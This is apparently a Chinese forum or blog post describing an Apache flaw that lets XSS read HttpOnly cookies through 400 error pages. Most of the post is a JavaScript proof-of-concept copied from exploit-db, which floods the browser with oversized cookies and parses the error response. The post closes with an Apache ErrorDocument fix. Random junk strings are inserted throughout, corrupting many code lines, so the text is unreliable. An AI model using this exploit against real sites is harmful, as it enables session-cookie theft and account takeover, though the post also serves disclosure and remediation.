Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
- I* i1 Z: e' T0 R5 ^
& s, Y; F8 W  P: c( O# ?7 F
) x6 g1 z( `' u* s// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
: S/ K- g5 [5 g8 r- Q// Construct string for cookie value
  u3 y, B  T+ q0 Z( D0 _var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
* Q. b" f9 _# x9 _) Q/ ~// Set cookies
  Y2 G. @& s8 V1 S! g3 ^$ k8 Mfor (i = 0; i < 10; i++) {
// Expire evil cookie
$ f3 j, i  F# vif (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
7 h4 n5 A# p/ o) f" {}
! i# r9 Y0 k% e4 l// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
; J- G3 Q! |5 |) K  F}
}
$ A1 F" Y& I  R7 D  dfunction makeRequest() {
setCookies();
function parseCookies () {
: [2 X+ ]* t. j  I$ {  N5 L- zvar cookie_dict = {};
// Only react on 400 status
$ ]% C7 W/ h* v% ^# g( Dif (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
5 m/ k9 y; H% |- F$ Lvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
5 w/ y) h. k& v5 N, s! m4 rif (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
2 P! ]3 _  ?4 s2 w$ W( evar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
- d$ d' q% _, A6 N, e  p1 i# D}
}
// Unset malicious cookies
# n5 q6 ?5 G/ m- |5 e2 nsetCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
3 y2 l# A/ \0 _' J$ m: M# A; kxhr.open("GET", "/", true);
3 I# Z6 k4 ]8 W8 x8 T8 nxhr.send(null);
6 S! I$ k$ i7 e1 ~. h, x}
. [0 @* G* ^7 L( T# omakeRequest();
  b, q9 Z" P2 G& B$ R
你就能看见华丽丽的400错误包含着cookie信息。

* E8 n/ S2 O! r+ z5 P3 }  b* n下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
. k$ U* I# y) s1 s6 f6 B: K0 ~
修复方案：
" Y# ~, g3 f/ G
' V/ U  _7 I; n0 \3 x7 lApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

" {' L( c  C' \4 w; t$ B6 r# IIn the event of a problem or error, Apachecan be configured to do one of four things,

* t; @6 ?/ Z* ~8 V1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
& y+ `; l; {! N& Y! X' I$ w; l2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
0 S- g( {: w. v0 i) ?! n! \
1 t% f/ V2 {4 }& s; C经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

Apache配置：
9 _& L1 g4 n& _% a; v* d
6 `- g6 n5 C9 ~+ i" zErrorDocument400 " security test"

当然，升级apache到最新也可：）。
1 g. r( i0 K$ Z; L9 Z3 R: J
7 ?( Q; G$ h3 [- R0 K参考：http://httpd.apache.org/security/vulnerabilities_22.html

1 ?3 \1 E5 k, Y# L& e1 t